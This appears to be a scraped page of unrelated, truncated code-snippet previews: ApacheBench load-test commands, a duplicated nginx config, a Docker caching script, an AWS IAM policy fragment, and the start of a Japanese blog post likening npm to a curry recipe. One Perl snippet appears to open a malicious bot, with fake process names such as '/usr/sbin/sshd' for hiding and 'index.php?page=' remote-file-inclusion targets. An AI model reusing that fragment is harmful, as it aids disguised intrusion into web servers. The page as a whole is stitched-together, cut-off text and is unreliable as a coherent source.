$ ab -c 20 -n 100 http://192.168.50.7/
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
user nginx; | |
pid /var/run/nginx.pid; | |
worker_processes auto; | |
worker_rlimit_nofile 8192; | |
error_log /var/log/nginx/error.log warn; | |
events { | |
worker_connections 2048; | |
multi_accept on; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
user nginx; | |
pid /var/run/nginx.pid; | |
worker_processes auto; | |
worker_rlimit_nofile 8192; | |
error_log /var/log/nginx/error.log warn; | |
events { | |
worker_connections 2048; | |
multi_accept on; |
$ ab -c 100 -n 100 http://www.exvisionz.jp/
This is ApacheBench, Version 2.3 <$Revision: 655654 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/
Benchmarking www.exvisionz.jp (be patient).....done
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
=pod | |
my $processo =("suid","/usr/sbin/sshd","rpc.idmapd","auditd","crond","klogd -x"); | |
my @titi = ("index.php?page=","main.php?page="); | |
my $goni = $titi[rand scalar @titi]; | |
my $linas_max='3'; | |
my $sleep='7'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# docker imageのキャッシュが存在すればそれを使ってimageをビルドし、 | |
# 無ければDockerfileから作成してキャッシュを残す。 | |
# キャッシュは~/docker配下に保存しておく | |
# | |
if [ -e ~/docker/docker_image.tar.gz ]; then | |
cat ~/docker/docker_image.tar.gz | docker import - ci:latest | |
else |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"Version": "2012-10-17", | |
"Statement": [ | |
{ | |
"Effect": "Allow", | |
"Action": [ | |
"ec2:AuthorizeSecurityGroupIngress", | |
"ec2:RevokeSecurityGroupIngress" | |
], | |
"Resource": [ |
(#TODO: あとで自分のブログに移す)
去年はスタッフとLTやったけど、今年は普通にチケット買って参加した。 本当はスピーカーになりたくてトークのプロポーザル出したけど全然だめだった。改めて自分はまだまだだなと思った。
パッケージ管理システム(npm)について、 🍛 で例えてみます。
🍛 って、家によって結構作り方が違うと思うんですが、
例えばあなたがぼくの実家の味を再現するにあたり、レシピが必要になると思います。
僕の実家の 🍛 では、これらの材料を使います。
- にんじん
- じゃがいも